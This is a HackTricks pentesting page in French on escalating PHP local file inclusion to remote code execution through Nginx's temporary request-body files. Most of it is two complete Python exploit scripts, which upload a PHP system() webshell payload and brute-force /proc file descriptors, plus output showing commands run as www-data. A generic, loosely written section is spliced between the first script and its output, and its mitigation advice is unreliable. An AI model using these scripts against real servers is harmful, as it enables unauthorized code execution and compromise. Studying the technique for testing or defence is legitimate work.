hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md

13 KiB

LFI2RCE via fichiers temporaires Nginx

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

## Configuration vulnérable
  • Code PHP :
<?php include_once($_GET['file']);
  • Configuration FPM / PHP :
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
  • Configuration / renforcement :
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...

Heureusement, PHP est souvent déployé via PHP-FPM et Nginx. Nginx propose une fonctionnalité de mise en mémoire tampon du corps client souvent négligée, qui écrira des fichiers temporaires si le corps du client (pas seulement les données POST) est plus grand qu'un certain seuil.

Cette fonctionnalité permet d'exploiter les LFIs sans aucune autre manière de créer des fichiers, si Nginx s'exécute en tant que le même utilisateur que PHP (très souvent configuré comme www-data).

Code Nginx pertinent :

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t  fd;

fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);

if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}

return fd;
}

Il est visible que le fichier temporaire est immédiatement supprimé après avoir été ouvert par Nginx. Heureusement, procfs peut être utilisé pour obtenir quand même une référence au fichier supprimé via une course :

...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...

Note : On ne peut pas inclure directement /proc/34/fd/15 dans cet exemple car la fonction include de PHP résoudrait le chemin vers /var/lib/nginx/body/0000001368 (deleted) qui n'existe pas dans le système de fichiers. Cette petite restriction peut heureusement être contournée par une indirection comme : /proc/self/fd/34/../../../34/fd/15 qui exécutera finalement le contenu du fichier supprimé /var/lib/nginx/body/0000001368.

Exploit complet

#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes
r  = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
r  = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})

if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')

nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
t = threading.Thread(target=uploader)
t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done

while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r  = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()

for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
# LFI to RCE via Nginx Temporary Files

L'exploitation d'une vulnérabilité LFI (Local File Inclusion) peut parfois mener à un RCE (Remote Code Execution) si certaines conditions sont remplies. Une des techniques implique l'utilisation de fichiers temporaires créés par Nginx, un serveur web populaire.

## Comment ça marche

Quand Nginx traite des requêtes PHP, il peut écrire des données dans des fichiers temporaires. Si une application est vulnérable à LFI, un attaquant peut inclure ces fichiers temporaires et exécuter du code PHP arbitraire.

## Trouver des fichiers temporaires

Les fichiers temporaires Nginx sont généralement stockés dans `/var/lib/nginx/body` ou `/var/lib/nginx/fastcgi`. Vous pouvez les trouver en utilisant des techniques de fuzzing ou en devinant les chemins.

## Exploitation

1. Envoyez une requête POST avec du code PHP dans le corps de la requête.
2. Utilisez LFI pour inclure le fichier temporaire correspondant.
3. Le code PHP est exécuté, menant potentiellement à un RCE.

## Mitigation

Pour prévenir cette attaque, configurez correctement les permissions de fichiers et dossiers, désactivez l'exécution de code dans les répertoires où les fichiers temporaires sont stockés, et utilisez des solutions de sécurité comme Suhosin et PHP-FPM.

## Conclusion

LFI peut être une faille de sécurité sérieuse et, dans certaines configurations, peut mener à un RCE. Il est crucial de sécuriser les serveurs web et de prendre des mesures pour prévenir l'exploitation de telles vulnérabilités.
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Un autre exploit

Ceci provient de https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/

import requests
import threading
import multiprocessing
import threading
import random

SERVER = "http://localhost:8088"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False

def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session

def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids

def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag"); ?> //'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass

def send_payload_worker(requests_session):
while True:
send_payload(requests_session)

def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()

def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path

def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "hxp" in d:
print("Found flag! ")
print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()

def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()

if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)

Labs

Références

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :